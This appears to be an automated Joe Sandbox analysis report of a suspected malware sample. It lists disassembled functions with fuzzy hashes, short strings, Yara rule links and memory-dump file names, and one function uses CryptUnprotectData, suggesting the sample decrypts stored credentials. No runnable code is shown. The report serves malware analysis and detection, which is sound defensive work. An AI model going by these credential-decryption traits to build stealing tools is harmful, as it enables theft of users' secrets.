Associated: 00000000.00000002.1745843569.00000000003FD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745843569.0000000000422000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745843569.000000000058A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745968455.000000000059E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745968455.0000000000721000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745968455.00000000007F7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745968455.0000000000817000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745968455.0000000000820000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745968455.000000000082F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746185371.0000000000830000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746279795.00000000009C3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746290453.00000000009C4000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_340000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateInformationProcessTimeZonewsprintf
String ID:
API String ID: 3317088062-0
Opcode ID: fed6c7f4036c051f71ee061334710b492c4222d7551be58bc13deda673b6a258
Instruction ID: 80d00f46cc3b92038be748f0a790f86011bd52bcb779cd57212ec67c17de5865
Opcode Fuzzy Hash: fed6c7f4036c051f71ee061334710b492c4222d7551be58bc13deda673b6a258
Instruction Fuzzy Hash: 4B115EB1D45218EBEB208B54DC49FAAB778FB04721F10439AEE1AA32D0D7745A48CF51

Function 00707C29 Relevance: 5.3, Strings: 3, Instructions: 1592COMMON

Download Yara Rule

Strings

{@z, xrefs: 00708A24
;vf, xrefs: 007083B6
78}v, xrefs: 00708A08

Memory Dump Source

Source File: 00000000.00000002.1745968455.000000000059E000.00000040.00000001.01000000.00000003.sdmp, Offset: 00340000, based on PE: true

Associated: 00000000.00000002.1745829366.0000000000340000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745843569.0000000000341000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745843569.00000000003F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745843569.00000000003FD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745843569.0000000000422000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745843569.000000000058A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745968455.0000000000721000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745968455.00000000007F7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745968455.0000000000817000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745968455.0000000000820000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745968455.000000000082F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746185371.0000000000830000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746279795.00000000009C3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746290453.00000000009C4000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_340000_file.jbxd

Yara matches

Similarity

API ID:
String ID: 78}v$;vf${@z
API String ID: 0-3765021230
Opcode ID: 86f88ec5208b84d5c07e4bfd0647b7f507f8f1bdd2c07fda4c183db17fdfa33e
Instruction ID: 01164b9f130f347939563935b3a1f39347f7578fb79d5fe1d6f2d8a07ba53499
Opcode Fuzzy Hash: 86f88ec5208b84d5c07e4bfd0647b7f507f8f1bdd2c07fda4c183db17fdfa33e
Instruction Fuzzy Hash: BEB2D6F260C204AFE304AE29EC8567AFBE9EF94720F16493DE6C4C3744EA3558458797

Function 00353720 Relevance: 4.6, APIs: 3, Instructions: 100comCOMMON

Download Yara Rule

APIs

CoCreateInstance.COMBASE(0035E118,00000000,00000001,0035E108,00000000), ref: 00353758
MultiByteToWideChar.KERNEL32(00000000,00000000,?,000000FF,?,00000104), ref: 003537B0

Memory Dump Source

Source File: 00000000.00000002.1745843569.0000000000341000.00000040.00000001.01000000.00000003.sdmp, Offset: 00340000, based on PE: true

Associated: 00000000.00000002.1745829366.0000000000340000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745843569.00000000003F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745843569.00000000003FD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745843569.0000000000422000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745843569.000000000058A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745968455.000000000059E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745968455.0000000000721000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745968455.00000000007F7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745968455.0000000000817000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745968455.0000000000820000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745968455.000000000082F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746185371.0000000000830000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746279795.00000000009C3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746290453.00000000009C4000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_340000_file.jbxd

Yara matches

Similarity

API ID: ByteCharCreateInstanceMultiWide
String ID:
API String ID: 123533781-0
Opcode ID: d82470b241de5d09396da9ad92e93decb5b990685338eee1db3253df3faa8f10
Instruction ID: bef2c9eb68e244717e77a2f13ec893a6822debd0c548252a8027279bbf5644ab
Opcode Fuzzy Hash: d82470b241de5d09396da9ad92e93decb5b990685338eee1db3253df3faa8f10
Instruction Fuzzy Hash: E941F971A00A189FDB24DB58CC94F9BB7B4BB48702F4051D8EA08EB2E0D7716E89CF50

Function 00349B60 Relevance: 4.6, APIs: 3, Instructions: 51memoryencryptionCOMMON

Download Yara Rule

APIs

CryptUnprotectData.CRYPT32(?,00000000,00000000,00000000,00000000,00000000,?), ref: 00349B84
LocalAlloc.KERNEL32(00000040,00000000), ref: 00349BA3
LocalFree.KERNEL32(?), ref: 00349BD3

Memory Dump Source

Source File: 00000000.00000002.1745843569.0000000000341000.00000040.00000001.01000000.00000003.sdmp, Offset: 00340000, based on PE: true

Associated: 00000000.00000002.1745829366.0000000000340000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745843569.00000000003F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745843569.00000000003FD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745843569.0000000000422000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745843569.000000000058A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745968455.000000000059E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745968455.0000000000721000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745968455.00000000007F7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745968455.0000000000817000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745968455.0000000000820000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745968455.000000000082F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746185371.0000000000830000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746279795.00000000009C3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746290453.00000000009C4000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_340000_file.jbxd

Yara matches

Similarity

API ID: Local$AllocCryptDataFreeUnprotect
String ID:
API String ID: 2068576380-0
Opcode ID: cc13e54735f7245244bff232f5392c7253fba6fa3496be38b28e825a41f86445
Instruction ID: cf9b2388e6abef8248b8de3d6c9c484d2106e4119ca2e79567b4207f58506fda
Opcode Fuzzy Hash: cc13e54735f7245244bff232f5392c7253fba6fa3496be38b28e825a41f86445
Instruction Fuzzy Hash: DD11A5B8A00209EFDB05DF94D985AAEB7B5FB88300F104599ED15AB350D774AE14CFA1

Function 007010F4 Relevance: 4.2, Strings: 2, Instructions: 1650COMMON

Download Yara Rule

Strings

I 6, xrefs: 007013BD
3yww, xrefs: 00701166

Memory Dump Source

Source File: 00000000.00000002.1745968455.000000000059E000.00000040.00000001.01000000.00000003.sdmp, Offset: 00340000, based on PE: true

Associated: 00000000.00000002.1745829366.0000000000340000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745843569.0000000000341000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745843569.00000000003F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745843569.00000000003FD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745843569.0000000000422000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745843569.000000000058A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745968455.0000000000721000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745968455.00000000007F7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745968455.0000000000817000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745968455.0000000000820000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745968455.000000000082F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746185371.0000000000830000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746279795.00000000009C3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746290453.00000000009C4000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_340000_file.jbxd

Yara matches

Similarity

API ID:
String ID: 3yww$I 6
API String ID: 0-4004495414
Opcode ID: 79d50df5c63e05bac4c0fff3486ee12e28675a545e3c6fd93f5542b360a85d67
Instruction ID: 92f20c5a219848d9dbd31dfa86872d90f22c32a59602254787084b8f9592f8b5
Opcode Fuzzy Hash: 79d50df5c63e05bac4c0fff3486ee12e28675a545e3c6fd93f5542b360a85d67
Instruction Fuzzy Hash: E0B209F3A0C2109FE304AE2DEC8567ABBE9EF94320F1A853DE6C5D7744E93558018796

Function 0071035F Relevance: 2.7, Strings: 1, Instructions: 1450COMMON

Download Yara Rule

Strings

}7_, xrefs: 00710E14

Memory Dump Source

Source File: 00000000.00000002.1745968455.000000000059E000.00000040.00000001.01000000.00000003.sdmp, Offset: 00340000, based on PE: true

Associated: 00000000.00000002.1745829366.0000000000340000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745843569.0000000000341000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745843569.00000000003F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745843569.00000000003FD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745843569.0000000000422000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745843569.000000000058A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745968455.0000000000721000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745968455.00000000007F7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745968455.0000000000817000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745968455.0000000000820000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745968455.000000000082F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746185371.0000000000830000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746279795.00000000009C3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746290453.00000000009C4000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_340000_file.jbxd

Yara matches

Similarity

API ID:
String ID: }7_
API String ID: 0-480581156
Opcode ID: 6b2a779d526ba3a9c3c795dc73b03b46a1fa8ca493bfe15d4b700910ee66762f
Instruction ID: 46d73c75b1d8cccfff8cf61a0d02327c971d2ea494ec8b34da389e042ebd2ba8
Opcode Fuzzy Hash: 6b2a779d526ba3a9c3c795dc73b03b46a1fa8ca493bfe15d4b700910ee66762f
Instruction Fuzzy Hash: 5AA2E5F390C2049FE304AE29EC8567AFBE9EF94720F16492DEAC4C7344E63598458797

Function 00648DAB Relevance: 2.6, Strings: 2, Instructions: 132COMMON

Download Yara Rule

Strings

$W, xrefs: 00648E28
AR>, xrefs: 00648EAA

Memory Dump Source

Source File: 00000000.00000002.1745968455.000000000059E000.00000040.00000001.01000000.00000003.sdmp, Offset: 00340000, based on PE: true

Associated: 00000000.00000002.1745829366.0000000000340000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745843569.0000000000341000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745843569.00000000003F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745843569.00000000003FD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745843569.0000000000422000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745843569.000000000058A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745968455.0000000000721000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745968455.00000000007F7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745968455.0000000000817000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745968455.0000000000820000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745968455.000000000082F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746185371.0000000000830000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746279795.00000000009C3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746290453.00000000009C4000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_340000_file.jbxd

Yara matches

Similarity

API ID:
String ID: $W$AR>
API String ID: 0-3542059997
Opcode ID: 20e4ba2d992577e4226f9b0303d7b33c35c59fcb52b02e84b14dbf41e311742b
Instruction ID: 42eeb0a1076f1a884f03dfc84fa85bdc7b6ae626f7b99d659c44dca8a242f170
Opcode Fuzzy Hash: 20e4ba2d992577e4226f9b0303d7b33c35c59fcb52b02e84b14dbf41e311742b
Instruction Fuzzy Hash: 974186F3A087141BE308696CEC85767B2CADB90220F2A823EEA84D3380FC795C0542C2

Function 006C0D8F Relevance: 1.4, Strings: 1, Instructions: 181COMMON

Download Yara Rule

Strings

c,vW, xrefs: 006C0F3A

Memory Dump Source

Source File: 00000000.00000002.1745968455.000000000059E000.00000040.00000001.01000000.00000003.sdmp, Offset: 00340000, based on PE: true

Associated: 00000000.00000002.1745829366.0000000000340000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745843569.0000000000341000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745843569.00000000003F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745843569.00000000003FD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745843569.0000000000422000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745843569.000000000058A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745968455.0000000000721000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745968455.00000000007F7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745968455.0000000000817000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745968455.0000000000820000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745968455.000000000082F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746185371.0000000000830000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746279795.00000000009C3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746290453.00000000009C4000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_340000_file.jbxd

Yara matches

Similarity

API ID:
String ID: c,vW
API String ID: 0-3052020306
Opcode ID: fc973f77d3612c2072e180cc04e09aa49fc22a7ba7223921958d36faf495c7b5
Instruction ID: f334c0474e9cc746d90c68af34cf02a758ffa7bab90eeda69a0aee85a50bf067
Opcode Fuzzy Hash: fc973f77d3612c2072e180cc04e09aa49fc22a7ba7223921958d36faf495c7b5
Instruction Fuzzy Hash: E3517DF3E1C6109FE3041A2DDC847A6B6D6EBD8324F2BC63DE684D3788E9755C018685

Function 007A17DD Relevance: 1.4, Strings: 1, Instructions: 176COMMON

Download Yara Rule

Strings

M?L, xrefs: 007A18F8

Memory Dump Source

Source File: 00000000.00000002.1745968455.0000000000721000.00000040.00000001.01000000.00000003.sdmp, Offset: 00340000, based on PE: true

Associated: 00000000.00000002.1745829366.0000000000340000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745843569.0000000000341000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745843569.00000000003F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745843569.00000000003FD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745843569.0000000000422000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745843569.000000000058A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745968455.000000000059E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745968455.00000000007F7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745968455.0000000000817000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745968455.0000000000820000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745968455.000000000082F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746185371.0000000000830000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746279795.00000000009C3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746290453.00000000009C4000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_340000_file.jbxd

Yara matches

Similarity

API ID:
String ID: M?L
API String ID: 0-1957247074
Opcode ID: d813d30ccb83d34713b70e1b4bea9e544d27d24516366f8b39ee18d1033cbaeb
Instruction ID: 6b1f56d24e7c92673ff6cd8e89e408845a41f0ef15bc3342aef6ff47f77b58d2
Opcode Fuzzy Hash: d813d30ccb83d34713b70e1b4bea9e544d27d24516366f8b39ee18d1033cbaeb
Instruction Fuzzy Hash: F851F4B360D204EFE3086E19AC9167BF7E9EBD5320FA5473DE6C247310E9396800E646

Function 00632A96 Relevance: .2, Instructions: 209COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1745968455.000000000059E000.00000040.00000001.01000000.00000003.sdmp, Offset: 00340000, based on PE: true

Associated: 00000000.00000002.1745829366.0000000000340000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745843569.0000000000341000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745843569.00000000003F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745843569.00000000003FD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745843569.0000000000422000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745843569.000000000058A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745968455.0000000000721000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745968455.00000000007F7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745968455.0000000000817000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745968455.0000000000820000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745968455.000000000082F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746185371.0000000000830000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746279795.00000000009C3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746290453.00000000009C4000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_340000_file.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 94aa699a30d598d18c41acd30c37dcc5aacecd135834e4ca6f1e378d974a0eeb
Instruction ID: db803b2e01a02774b58e0a0774cb4cd948af8210f8514fbffae84e0ec08b2dd5
Opcode Fuzzy Hash: 94aa699a30d598d18c41acd30c37dcc5aacecd135834e4ca6f1e378d974a0eeb
Instruction Fuzzy Hash: DC5149B39181109FE3049B29DC417BABBE6EF94320F1A8A3DE9C8D7744E6394C5187D6

Function 005B43DE Relevance: .2, Instructions: 200COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1745968455.000000000059E000.00000040.00000001.01000000.00000003.sdmp, Offset: 00340000, based on PE: true

Associated: 00000000.00000002.1745829366.0000000000340000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745843569.0000000000341000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745843569.00000000003F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745843569.00000000003FD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745843569.0000000000422000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745843569.000000000058A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745968455.0000000000721000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745968455.00000000007F7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745968455.0000000000817000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745968455.0000000000820000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745968455.000000000082F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746185371.0000000000830000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746279795.00000000009C3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746290453.00000000009C4000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_340000_file.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a9341e428aae73b0b17378a4da0558bc7c06c4aa8f688ba32851233b73396a04
Instruction ID: c4144d1e5d889d13ce9d422b0ec42f559a18924d6bad3401554284dc829b462e
Opcode Fuzzy Hash: a9341e428aae73b0b17378a4da0558bc7c06c4aa8f688ba32851233b73396a04
Instruction Fuzzy Hash: FA5155F3A082144BE7146E2CDC4977ABBE5EB90320F06463DDFC987784E936590883C6

Function 006070F3 Relevance: .2, Instructions: 199COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1745968455.000000000059E000.00000040.00000001.01000000.00000003.sdmp, Offset: 00340000, based on PE: true

Associated: 00000000.00000002.1745829366.0000000000340000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745843569.0000000000341000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745843569.00000000003F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745843569.00000000003FD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745843569.0000000000422000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745843569.000000000058A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745968455.0000000000721000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745968455.00000000007F7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745968455.0000000000817000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745968455.0000000000820000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745968455.000000000082F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746185371.0000000000830000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746279795.00000000009C3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746290453.00000000009C4000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_340000_file.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 88697b4c2b1542ebc09310a6817f3202826b939713b6b897853bebb8ce241ad0
Instruction ID: 4db35ccf2c0a37c7baed2902173d1bdbd56c3959b19a2ee12ffcf5821474f7fe
Opcode Fuzzy Hash: 88697b4c2b1542ebc09310a6817f3202826b939713b6b897853bebb8ce241ad0
Instruction Fuzzy Hash: 315106F3B186045FF300A92DEC817BB77D6DBD4760F29C639A784C3B84E97898054295

Function 005EC9B5 Relevance: .2, Instructions: 199COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1745968455.000000000059E000.00000040.00000001.01000000.00000003.sdmp, Offset: 00340000, based on PE: true

Associated: 00000000.00000002.1745829366.0000000000340000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745843569.0000000000341000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745843569.00000000003F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745843569.00000000003FD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745843569.0000000000422000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745843569.000000000058A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745968455.0000000000721000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745968455.00000000007F7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745968455.0000000000817000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745968455.0000000000820000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745968455.000000000082F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746185371.0000000000830000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746279795.00000000009C3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746290453.00000000009C4000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_340000_file.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8e148c84a64d108cbc21a7f7ce725d14dc4904c1855244a23d00f6cb5e732797
Instruction ID: 9f9094c135d1f232b09fc03c2d3895c4790523a5ad5dddf47423e76235c9e06f
Opcode Fuzzy Hash: 8e148c84a64d108cbc21a7f7ce725d14dc4904c1855244a23d00f6cb5e732797
Instruction Fuzzy Hash: AB5106F29087049FE3086F2DEC9533AB7E5EF94720F1A463DE5D5C7380EA396845864A

Function 0076ACA0 Relevance: .2, Instructions: 168COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1745968455.0000000000721000.00000040.00000001.01000000.00000003.sdmp, Offset: 00340000, based on PE: true

Associated: 00000000.00000002.1745829366.0000000000340000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745843569.0000000000341000.00000040.00000001.01000000.00000003.sdmpDownload File
